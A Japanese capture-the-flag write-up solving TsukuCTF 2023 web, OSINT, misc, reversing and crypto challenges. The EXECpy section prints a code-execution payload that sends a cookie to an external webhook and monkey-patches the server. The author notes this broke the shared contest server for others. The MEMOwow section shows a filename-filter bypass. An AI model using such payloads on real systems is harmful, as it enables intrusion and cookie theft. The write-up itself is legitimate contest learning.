TsukuCTF 2023 writeup
TsukuCTF 2023 にチームぽんぽんぺいんで参加しました。
私は、OSINT以外を全部と、OSINTもたくさん解くことができました。
EXECpyで問題サーバーを破壊してしまうというアクシデントもありましたが楽しかったです。
- [web] basic
- [web] MEMOwow
- [web] EXECpy
- [osint] eruption
- [osint] TrainWindow
- [osint] Yuki
- [osint] free_rider
- [osint] river
- [osint] broken display
- [osint] stickers
- [osint] flower_bed
- [osint] koi
- [osint] twin
- [misc] what_os
- [misc] build_error
- [misc] content_sign
- [rev] title_screen
- [crypto] new_cipher_scheme
[web] basic
保護されていない通信ではパスワードはまる見えダゾ! e.g. パスワードが Passw0rd! の場合、フラグは TsukuCTF23{Passw0rd!} となります。
pcapファイル basic.pcapng
が与えられます。
問題名からBasic認証の通信だと推測できます。実際、次のように認証情報のbase64を送信している箇所が見つかります。
YWRtaW46MjkyOWIwdTQ=
をbase64デコードすると admin:2929b0u4
となるので、パスワードは 2929b0u4
とわかります。
フラグ:TsukuCTF23{2929b0u4}
[web] MEMOwow
素晴らしいメモアプリを作ったよ。 覚える情報量が増えているって???
メモの読み書き機能があるwebアプリケーションとそのソースコードが与えられます。メインのソースコード app.py
は次のようになっていて、フラグは ./memo/flag
にあります。
import base64 import secrets import urllib.parse from flask import Flask, render_template, request, session, redirect, url_for, abort SECRET_KEY = secrets.token_bytes(32) app = Flask(__name__) app.secret_key = SECRET_KEY @app.route("/", methods=["GET"]) def index(): if not "memo" in session: session["memo"] = [b"Tsukushi"] return render_template("index.html") @app.route("/write", methods=["GET"]) def write_get(): if not "memo" in session: return redirect(url_for("index")) return render_template("write_get.html") @app.route("/read", methods=["GET"]) def read_get(): if not "memo" in session: return redirect(url_for("index")) return render_template("read_get.html") @app.route("/write", methods=["POST"]) def write_post(): if not "memo" in session: return redirect(url_for("index")) memo = urllib.parse.unquote_to_bytes(request.get_data()[8:256]) if len(memo) < 8: return abort(403, "これくらいの長さは記憶してください。👻") try: session["memo"].append(memo) if len(session["memo"]) > 5: session["memo"].pop(0) session.modified = True filename = base64.b64encode(memo).decode() with open(f"./memo/{filename}", "wb+") as f: f.write(memo) except: return abort(403, "エラーが発生しました。👻") return render_template("write_post.html", id=filename) @app.route("/read", methods=["POST"]) def read_post(): if not "memo" in session: return redirect(url_for("index")) filename = urllib.parse.unquote_to_bytes(request.get_data()[7:]).replace(b"=", b"") filename = filename + b"=" * (-len(filename) % 4) if ( (b"." in filename.lower()) or (b"flag" in filename.lower()) or (len(filename) < 8 * 1.33) ): return abort(403, "不正なメモIDです。👻") try: filename = base64.b64decode(filename) if filename not in session["memo"]: return abort(403, "メモが見つかりません。👻") filename = base64.b64encode(filename).decode() with open(f"./memo/{filename}", "rb") as f: memo = f.read() except: return abort(403, "エラーが発生しました。👻") return render_template("read_post.html", id=filename, memo=memo.decode()) if __name__ == "__main__": app.run(debug=True, host="0.0.0.0", port=31415)
read
では、入力 filename
をbase64デコードし、session
に含まれていることを確認した後、base64エンコードしてから ./memo/{filename}
を読むということをしています。また、入力は .
や flag
を含んではならず、11文字以上という制約があります。
まず、/
もbase64の文字なので、11文字以上という制約は ////////flag
で回避できそうです。
次に flag
を含めない制約について、base64デコードが変な挙動をするという問題を他のCTFで見たことがあったので、flag
を含まないが、base64デコードしてエンコードし直すと ////////flag
のようになるケースがありそうだと思いました。適当に探索すると、////////fla|g===
→ ////////flag
などが見つかりました。これで回避できます。
import base64 for i in range(8, 12): for c in range(128): for c2 in range(128): try: s = b'/'*i + b'fla' + bytes([c,c2]) s += b'=' * (-len(s) % 4) t = base64.b64encode(base64.b64decode(s)) if t[-4:] == b'flag': print(s, t) except: continue
最後に session
の問題について、write
で base64.b64decode("////////fla|g===")
を書き込めば session
に追加されそうです。flag
ファイルの中身が書き変わってしまうのではと思っていたのですが、試してみると flag
ファイルへの書き込みは権限がなくて失敗することがわかり、うまくいきました。
まとめると、write
で base64.b64decode("////////fla|g===")
を書き込んだあと、read
で ////////fla|g===
を読むことでフラグが得られます。
フラグ:TsukuCTF23{b45364_50m371m35_3xh1b175_my573r10u5_b3h4v10r}
[web] EXECpy
問題と解法
RCEがめんどくさい? データをexecに渡しといたからRCE2XSSしてね!
Pythonのコードを実行してくれるwebアプリケーション、クローラー、そのソースコードが与えられます。メインのアプリのソースコード app.py
は次のようになっています。
from flask import Flask, render_template, request app = Flask(__name__) @app.route("/", methods=["GET"]) def index(): code = request.args.get("code") if not code: return render_template("index.html") try: exec(code) except: pass return render_template("result.html") if __name__ == "__main__": app.run(debug=True, host="0.0.0.0", port=31416)
任意のコードを実行してくれますが、実行させたコードによらず固定の result.html
をレスポンスするように見えます。
クローラーのソースコード capp.py
は次のようになっています。
import os import asyncio from playwright.async_api import async_playwright from flask import Flask, render_template, request app = Flask(__name__) DOMAIN = "nginx" FLAG = os.environ.get("FLAG", "TsukuCTF23{**********REDACTED**********}") @app.route("/crawler", methods=["GET"]) def index_get(): return render_template("index_get.html") async def crawl(url): async with async_playwright() as p: browser = await p.chromium.launch() page = await browser.new_page() try: response = await page.goto(url, timeout=5000) header = await response.header_value("Server") content = await page.content() if ("Tsukushi/2.94" in header) and ("🤪" not in content): await page.context.add_cookies( [{"name": "FLAG", "value": FLAG, "domain": DOMAIN, "path": "/"}] ) if url.startswith(f"http://{DOMAIN}/?code=") or url.startswith( f"https://{DOMAIN}/?code=" ): await page.goto(url, timeout=5000) except: pass await browser.close() @app.route("/crawler", methods=["POST"]) def index_post(): asyncio.run( crawl( request.form.get("url").replace( "http://localhost:31416/", f"http://{DOMAIN}/", 1 ) ) ) return render_template("index_post.html") if __name__ == "__main__": app.run(debug=True, host="0.0.0.0", port=31417)
クローラーが http://nginx/?code=
で始まるURLにアクセスし、レスポンスにヘッダー Server: Tsukushi/2.94
が含まれていて 🤪
を含まなければ、同じURLにフラグをCookieとして送信してくれるようです。
フラグを送信させることができれば、exec
にCookieを自分のサーバー (https://webhook.siteを使いました) に送信するコードを食わせることでフラグを得られます。
メインのアプリに、ヘッダー Server: Tsukushi/2.94
を含んで 🤪
を含まないレスポンスを返させる必要がありそうです。index
関数の戻り値がレスポンスのようなので、これを書き換えたいですが、単に exec
に return
を食わせて戻り値を書き換えることはできないようです (Pythonのドキュメント)。
ここで、戻り値は render_template("result.html")
となっているので、render_template
関数を書き換えて戻り値を変えられそうなことに気づきました。しかし、単に次のようなコードを食わせるだけでは書き換わりませんでした (グローバル関数と関数内関数は別物判定になるため?)。
def render_template(filename): from flask import make_response response = make_response("hacked!") response.headers['Server'] = "Tsukushi/2.94" return response
そこで global render_template
をつけてみたところ、うまく書き換わりました。global render_template
をつけると、render_template
の変更がそのレスポンスだけに限らず永続化してしまい、たぶん他の人がアクセスしても hacked!
が返るまずい状況になります (問題サーバーを壊してから気づきました...) が、直後に render_template
を元に戻すコードを投げることでたぶん直せていそうでした。
flag = request.cookies.get('FLAG', None) import urllib if flag: get_req = urllib.request.Request(f"https://webhook.site/xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx/?flag={flag}") urllib.request.urlopen(get_req) global render_template, render_template_orig render_template_orig = render_template def render_template(filename): from flask import make_response response = make_response("hacked!") response.headers['Server'] = "Tsukushi/2.94" return response
元に戻すコード
global render_template, render_template_orig
render_template = render_template_orig
フラグ:TsukuCTF23{175_4_73rr1bl3_4774ck_70_1n73rrup7_h77p}
問題サーバーを破壊した話
最初、global render_template
をつけるのをローカルで試したところ、サーバーエラーが返ったり*1、思い通りのレスポンスは返るがフラグは降ってこなかったりという謎の挙動になりました。謎だったので問題サーバーでもガチャガチャ試していると、自宅のとも問題サーバーのとも違うIPアドレスからflag?が来ました。
え?、と思いながらも一応スコアサーバーに提出しました (カス) が当然通らず、問題サーバーを壊しているぞというSatokiさんからのメッセージだと気づきました。
バグった render_template
に書き換えてサーバーエラーを起こすコードを20分間くらい投げ続けていた気がします。すみません...。
[osint] eruption
つくしくんは旅行に行ったときに噴火を見ました。噴火の瞬間を実際に見たのは初めてでしたが、見た日付を覚えていません。 つくしくんが噴火を見た日付を写真の撮影日から特定して教えてください。 撮影場所が日本なのでタイムゾーンはJSTです。フラグの形式は TsukuCTF23{YYYY/MM/DD} です。
Google Lensに投げると、とてもよく似た写真が載っているブログ記事が見つかりました。
この記事に書かれているイベントの開催日 2022年1月26日(水)~28日(金)
を試すと正解でした。
フラグ:TsukuCTF23{2022/01/28}
[osint] TrainWindow
夏、騒音、車窓にて。 フラグのフォーマットは、TsukuCTF23{緯度_経度}です。 緯度経度は小数第五位を切り捨てとします。
Google Lensに投げると、奥に見える海辺の建物などが似ている写真の載ったブログ記事が見つかりました。
伊東線の伊豆多賀付近のようなので、Googleマップで周辺を確認すると、写真に写っている「TTC」が見つかりました。
さらに、奥に見える海辺の建物は「エンゼルシーサイド南熱海」、目の前の建物は「カーサマリーナ上多賀」であることがわかり、解けました。
フラグ:TsukuCTF23{35.0640_139.0664}
[osint] Yuki
雪、無音、窓辺にて。 フラグのフォーマットは、TsukuCTF23{緯度_経度}です。 緯度経度は小数第四位を切り捨てとします(精度に注意)。
Google Lensに投げ、手前の椅子を含まないように調節すると、定山渓ビューホテル宿泊記が見つかりました。
この記事内のラウンジの写真に同じ形の椅子が見つかります。Googleマップで「カフェ サンリバー(定山渓ビューホテル内)」の座標が答えでした。
フラグ:TsukuCTF23{42.968_141.167}
[osint] free_rider
https://www.fnn.jp/articles/-/608001 私はこのユーチューバーが本当に許せません! この動画を見たいので、元のYouTubeのURLを教えてください。 また、一番上の画像(「非難が殺到」を含む)の再生位置で指定してください。 フラグフォーマットは、TsukuCTF23{https://www.youtube.com/watch?v=**REDACTED**&t=**REDACTED**s}
「youtuber 新幹線無賃乗車」で検索すると他のニュース記事が見つかり、YouTuberの名前が「Fidias」であることがわかります。
Twitterで「Fidias shinkansen」と検索すると、元のYouTubeのURLが貼られたツイートが見つかりました。元の動画は削除されていました。
さらに、YouTubeで「フィディアス」と検索すると、再アップロードされた動画が見つかり、再生位置は2分56秒であることがわかりました。
フラグ:TsukuCTF23{https://www.youtube.com/watch?v=Dg_TKW3sS1U&t=176s}
[osint] river
弟のたくしから、「ボールが川で流されちゃった」と写真と共に、連絡がきた。 この場所はどこだ? Flagフォーマットは TsukuCTF23{緯度_経度} です。 端数は少数第5位を切り捨てて小数点以下第4位の精度で回答してください。
「newgin専用駐車場」が見えます。ニューギンはパチンコのメーカーらしいです。直営店は1つしかないらしく、何の駐車場なんだろうと思いましたが、会社概要に載っている営業所を1つずつGoogleストリートビューで見ていくと、「鹿児島営業所」が当たりでした。
フラグ:TsukuCTF23{31.5757_130.5533}
[osint] broken display
表示が壊れているサイネージって、写真を撮りたくなりますよね! 正しく表示されているときに書かれている施設名を見つけて提出してください! フラグ形式: TsukuCTF23{◯◯◯◯◯◯◯◯IYA_◯◯◯◯◯◯S}
ディスプレイにL'OCCITANEの文字が写っていることをチームメンバーが見つけていましたが、店舗リストにIYAで終わる建物名は無くて困りました。
後ろから4文字目はMに見えるなあと考えていると、建物名ではなく地名かもしれないこと、MIYAで終わる11文字の地名といえば西宮*2だということを思いつきました。
ロクシタンの店舗リストにある「西宮阪急」はSで終わらないですが、向かいの建物の看板が映っているなどもありうるかと思いGoogleマップで確認したところ、「阪急西宮ガーデンズ」が見つかりました。
フラグ:TsukuCTF23{NISHINOMIYA_GARDENS}
[osint] stickers
この画像が撮影された場所を教えてください! Flagフォーマットは TsukuCTF23{緯度_経度} です。 ただし、小数点4桁の精度で答えてください。
黄色い車は熱海プリンのプリンカーであることをチームメンバーが見つけていました。
チームメンバーが見つけてくれたブログ記事を読むと、「熱海プリンカフェ2nd」の近くの駐車場にプリンカーがあったと書かれています。
この駐車場を探します。「珈琲SUN」が見えるので、「熱海 珈琲 sun」で検索すると「サンバード」という喫茶店とわかります。Googleストリートビューで周辺を探すと駐車場が見つかり、写真の場所もありました。
フラグ:TsukuCTF23{35.0966_139.0747}
[osint] flower_bed
花壇の先にQRコードのキューブがあるようですね。友人曰く、モニュメントの近くに配置されているものらしいです。 こちらのQRコードが示すURLを教えてください! リダイレクト前のURLでお願いします! Flagの形式は TsukuCTF23{URL} です。例えば、https://sechack365.nict.go.jp がURLなら、 TsukuCTF23{https://sechack365.nict.go.jp} が答えになります。
QRコードの周りの英語を検索すると、「The Previous Fukuoka Prefectural Civic Hall and Honorary Guest House(旧福岡県公会堂貴賓館)Official Site」と書かれていそうなことがわかります。
旧福岡県公会堂貴賓館のサイトは https://www.fukuokaken-kihinkan.jp
ですがこれは不正解でした。
チームメンバーが短縮URLを調べているのを見て、https://www.fukuokaken-kihinkan.jp
にリダイレクトされそうなURLでより単純なものとして、www
を消したものや、https
を http
に変えたものを試したところ、http
が当たりでした。
フラグ:TsukuCTF23{http://www.fukuokaken-kihinkan.jp}
[osint] koi
画像フォルダを漁っていると、鯉のあらいを初めて食べた時の画像が出てきた。 当時のお店を再度訪ね、鯉の洗いを食べたいが電話番号が思い出せない。 誰か、私の代わりにお店を調べ、電話番号を教えてほしい。 記憶では、お店に行く途中で見かけたお皿が使われていた気がする。。。 Flagは電話番号となっており、ハイフンは不要である。 TsukuCTF23{電話番号}
使われている皿が福岡県東峰村の小石原焼であることをチームメンバーが見つけていました。
まず東峰村の飲食店を色々試しましたが全て外れでした。そこで範囲を広げて「鯉料理 福岡」で検索したところ、2ページ目くらいで同じ焼き物が使われている店を見つけました。これが正解でした。
フラグ:TsukuCTF23{0936176250}
[osint] twin
ハッカーは独自に収集した大量の個人情報を、とあるWebサイト上で2023年11月23日に投稿した。 我々はこの投稿IDがKL34A01mであるという情報を得た。ハッカーのGitHubアカウントを特定せよ。 View Hint このWebサイトは28歳のオランダ人起業家によって2010年代初めに買収されている。
Webサイトはハッカーのフォーラムのようなものだと想像し、「28-year-old Dutch entrepreneur hacker」で検索すると、ニュース記事が見つかり、WebサイトはPastebinであることがわかりました。
Pastebinを見に行くと、同じユーザの他の投稿がありました。これはソースコードのようなので、同じソースコードがGitHubにも上がっているのではと思い、GitHubでコードの一部を検索してみると、見つかりました。
フラグ:TsukuCTF23{gemini5612}
[misc] what_os
とある研究所から、昔にシェル操作を行った紙が送られてきた来たんだが、 なんのOSでシェルを操作しているか気になってな。 バージョンの情報などは必要ないから、OSの名前だけを教えてくれないか? にしても、データとかではなく紙で送られて来たんだ。一体何年前のOSなんだ。。。 送られてきた紙をダウンロードして確認してほしい。
コマンドの実行履歴が書かれたテキストファイル tty.txt
が与えられます。
次の部分に着目しました。
# chdir / # chdir usr # ls -al total 10 41 sdrwr- 9 root 100 Jan 1 00:00:00 . 41 sdrwr- 9 root 100 Jan 1 00:00:00 .. 42 sdrwr- 2 root 80 Jan 1 00:00:00 boot 49 sdrwr- 2 root 60 Jan 1 00:00:00 fort 54 sdrwr- 2 root 70 Jan 1 00:00:00 jack 57 sdrwr- 5 ken 120 Jan 1 00:00:00 ken 59 sdrwr- 2 root 110 Jan 1 00:00:00 lib 83 sdrwr- 5 root 60 Jan 1 00:00:00 src 68 sdrwr- 2 root 160 Jan 1 00:00:00 sys 208 sxrwrw 1 root 54 Jan 1 00:00:00 x # chdir sys # ls -al total 325 68 sdrwr- 2 root 160 Jan 1 00:00:00 . 41 sdrwr- 9 root 100 Jan 1 00:00:00 .. 70 sxrwr- 1 root 2192 Jan 1 00:00:00 a.out 71 l-rwr- 1 root 16448 Jan 1 00:00:00 core 72 s-rwr- 1 sys 1928 Jan 1 00:00:00 maki.s 69 lxrwrw 1 root 12636 Jan 1 00:00:00 u0.s 81 lxrwrw 1 root 18901 Jan 1 00:00:00 u1.s 80 lxrwrw 1 root 19053 Jan 1 00:00:00 u2.s 79 lxrwrw 1 root 7037 Jan 1 00:00:00 u3.s 78 lxrwrw 1 root 13240 Jan 1 00:00:00 u4.s 77 lxrwrw 1 root 9451 Jan 1 00:00:00 u5.s 76 lxrwrw 1 root 9819 Jan 1 00:00:00 u6.s 75 lxrwrw 1 root 16293 Jan 1 00:00:00 u7.s 74 lxrwrw 1 root 17257 Jan 1 00:00:00 u8.s 73 lxrwrw 1 root 10784 Jan 1 00:00:00 u9.s 82 sxrwrw 1 root 1422 Jan 1 00:00:00 ux.s
/usr/sys/maki.s
が気になったので、これで検索してみると、GitHubリポジトリにたどり着きました。1st Edition UNIX らしいです。
フラグ:TsukuCTF23{UNIX}
[misc] build_error
怪盗シンボルより、以下の謎とき挑戦状が届いた。 怪盗シンボルだ! メールに3つのファイルを添付した。 この3つのファイルを同じディレクトリに置き、makeとシェルに入力し実行するとビルドが走るようになっている。 ビルドを行い、標準出力からフラグを入手するのだ! 追記:ソースコードは秘密 怪盗シンボルはせっかちなので、ビルドできるかチェックしているか不安だ。。。 取りあえずチャレンジしてみよう。 FlagフォーマットはTsukuCTF23{n桁の整数}になります。
Makefile
, main.o
, one.o
という3つのファイルが与えられます。
make
してみてもエラーになります。main.o
と one.o
はx64のELFバイナリなので、Ghidraでデコンパイルしてみると次のようになります。
undefined8 main(void) { int local_34; long local_30; long local_28; long local_20; local_30 = 0xc; local_28 = 0xb; local_20 = 0x4b; one_init(); for (local_34 = 0; local_34 < local_28; local_34 = local_34 + 1) { if (local_34 < local_30) { local_20 = local_20 + 1; } if (local_20 < local_34) { local_28 = local_28 + 1; } local_30 = local_30 + 1; } local_20 = local_20 + local_30 + local_28; if (local_20 == c + a + b) { printf("flag is %ld\n",local_20); } else { puts("please retry"); } return 0; }
void one_init(void) { int local_c; a = 0xc; b = 0xb; c = 0x4b; for (local_c = 0; (ulong)(long)local_c < b; local_c = local_c + 1) { if ((ulong)(long)local_c < a) { c = c + 1; } if (c < (ulong)(long)local_c) { b = b + 1; } a = a + 1; } return; }
a + b + c
がフラグのようです。次のようにPythonで書き直してフラグを求めました。
a = 0xc b = 0xb c = 0x4b for i in range(b): if i<a: c+=1 if c<i: b+=1 a+=1 print(a+b+c)
フラグ:TsukuCTF23{120}
[misc] content_sign
どうやら、この画像には署名技術を使っているらしい。この署名技術は、画像に対しての編集を記録することができるらしい。署名技術を特定し、改変前の画像を復元してほしい。 Flag形式はTsukuCTF23{<一個前に署名した人の名前>&<署名した時刻(ISO8601拡張形式)>}です。例えば、一個前に署名した人の名前は「Tsuku」で、署名した時刻が2023/12/09 12:34:56(GMT+0)の場合、フラグはTsukuCTF23{Tsuku&2023-12-09T12:34:45+00:00}です。なお、タイムゾーンはGMT+0を使用してください。
画像ファイル signed_flag.png
が与えられます。
binwalkコマンドを試すと証明書のファイルがたくさん見つかったので、opensslコマンドで中身を見てみましたがよくわかりませんでした。
次にstringsコマンドを試しました。
... stds.schema-org.CreativeWork xjson{"@context":"https://schema.org","@type":"CreativeWork","author":[{"@type":"Person","name":"TSUKU4_IS_H@CKER"}]} c2pa.actions factionkc2pa.openedhmetadata mreviewRatings kexplanationy dcodelc2pa.unknownevalue my.assertion TsukuTsukuTsukuTsukuTsukuTsuku c2pa.hash.data jexclusions 3dnamenjumbf manifestcalgfsha256dhashX C c2pa.claim hdc:titlemTsukuctf_20XXidc:formatiimage/pngjinstanceIDx,xmp:iid:e18e08ca-8259-4226-988e-7ed2f58e1010oclaim_generatorx'CanUseeMe c2patool/0.7.0 c2pa-rs/0.28.3tclaim_generator_info isignaturex self#jumbf=c2pa.signaturejassertions curlx3self#jumbf=c2pa.assertions/c2pa.thumbnail.claim.pngdhashX k curlx7self#jumbf=c2pa.assertions/stds.schema-org.CreativeWorkdhashX curlx'self#jumbf=c2pa.assertions/c2pa.actionsdhashX q curlx'self#jumbf=c2pa.assertions/my.assertiondhashX curlx)self#jumbf=c2pa.assertions/c2pa.hash.datadhashX ] 'calgfsha256 c2pa.signature itstTokens 20231208130026Z DigiCert, Inc.1;09 ... stds.schema-org.CreativeWork pjson{"@context":"https://schema.org","@type":"CreativeWork","author":[{"@type":"Person","name":"tarutaru"}]} c2pa.actions factionkc2pa.openedhmetadata mreviewRatings kexplanationx?TsukuCTFake23{https://youtu.be/48rz8udZBmQ?si=ljjZsu8XFI8OLWg3}dcodelc2pa.unknownevalue my.assertion gany_tagcaaa c2pa.hash.data jexclusions I~dnamenjumbf manifestcalgfsha256dhashX g c2pa.claim hdc:titlemTsukuctf_20XXidc:formatiimage/pngjinstanceIDx,xmp:iid:18b17123-cbc9-4328-8aca-b78ea47b3a40oclaim_generatorx'CanUseeMe c2patool/0.7.0 c2pa-rs/0.28.3tclaim_generator_info isignaturex self#jumbf=c2pa.signaturejassertions curlx4self#jumbf=c2pa.assertions/c2pa.thumbnail.claim.jpegdhashX curlx*self#jumbf=c2pa.assertions/c2pa.ingredientdhashX # curlx7self#jumbf=c2pa.assertions/stds.schema-org.CreativeWorkdhashX curlx'self#jumbf=c2pa.assertions/c2pa.actionsdhashX curlx'self#jumbf=c2pa.assertions/my.assertiondhashX curlx)self#jumbf=c2pa.assertions/c2pa.hash.datadhashX Th]calgfsha256 c2pa.signature itstTokens 20231208130125Z DigiCert, Inc.1;09 ...
TSUKU4_IS_H@CKER
という名前の人が時刻 20231208130026Z
に、tarutaru
という名前の人が時刻 20231208130125Z
に署名したとエスパーできました。
フラグ:TsukuCTF23{TSUKU4_IS_H@CKER&2023-12-08T13:00:26+00:00}
[rev] title_screen
父は昔プログラマーだったらしい、 しかし、当時開発したソフトのタイトルが思い出せない。 ソフトを起動すると画面にタイトルが表示されるらしいのだが... 残っている開発データからなんとか導き出そう! ※実行結果として予想される表示文字列(記号含む)をフラグとして解答してください。 View Hint キャラクターは8x8ピクセルを1ブロックとして並べられます。データはMapper0想定でCHR-ROMは8KBです。
character.bmp
, main.asm
, main.cfg
という3つのファイルが与えられます。character.bmp
は次のような画像で、main.asm
はアセンブリのコードです。
問題文にあるキーワード「Mapper0 CHR-ROM アセンブリ」で検索すると、似たアセンブリのコードを含む次の記事が見つかります。M1 Macで作る、ファミコンソフトプログラミング。 アセンブラでハローワールド編
これを見ると、62行目の $07
→ 画像の0行7列を読んで H
、73行目の $04
→ 画像の0行4列を読んで E
、という風に表示される文字が決まっていることが推測できます。
そこで、main.asm
の次の部分
data: .byte $22, $a4, $39, $26, $39 .byte $a4, $55, $79, $bb, $4c .byte $39, $c7, $a4, $d1, $8c
に着目し、character.bmp
で2行2列、a行4列、3行9列、... を順に読んでみると Tsukushi_Quest
となって、これが答えでした。最後の8行c列は読めない文字ですが、main.asm
内に14という数値が見つかるので、表示文字列の長さは14と推測できました。
フラグ:TsukuCTF23{Tsukushi_Quest}
[crypto] new_cipher_scheme
次のソースコードとその実行結果が与えられます。
from Crypto.Util.number import * from flag import flag def magic2(a): sum = 0 for i in range(a): sum += i * 2 + 1 return sum def magic(p, q, r): x = p + q for i in range(3): x = magic2(x) return x % r m = bytes_to_long(flag.encode()) p = getPrime(512) q = getPrime(512) r = getPrime(1024) n = p * q e = 65537 c = pow(m, e, n) s = magic(p, q, r) print("r:", r) print("n:", n) print("e:", e) print("c:", c) print("s:", s)
RSA暗号ですが、s = magic(p, q, r)
の値が追加で与えられています。
magic2(a)
の戻り値は です。よって、 です。
は512bit、 は1024bitなので、 です。よって で を解けば がわかります。さらに は の解なので、この2次方程式を解くことで が求まり、復号できます。
from output import * from Crypto.Util.number import * PR.<x> = PolynomialRing(GF(r)) f = x^8-s rs = f.roots() t = int(rs[-1][0]) PR.<x> = PolynomialRing(ZZ) f = x^2-t*x+n rs = f.roots() p = int(rs[0][0]) q = int(rs[1][0]) d = inverse(int(e), int((p-1)*(q-1))) print(long_to_bytes(pow(int(c), int(d), int(n))))
フラグ:TsukuCTF23{Welcome_to_crypto!}
*1:単にコードがバグっていたせいでした。フラグ送信用の urllib.request と flask.request が被ってなかなか気づけず。
*2:あいみょんの出身地ということでパッと思いついたのですが、実際にあいみょんがこのディスプレイに映っていたのを見つけている人がいてびっくりしました。https://x.com/myaumyau33/status/1733779562939797960?s=20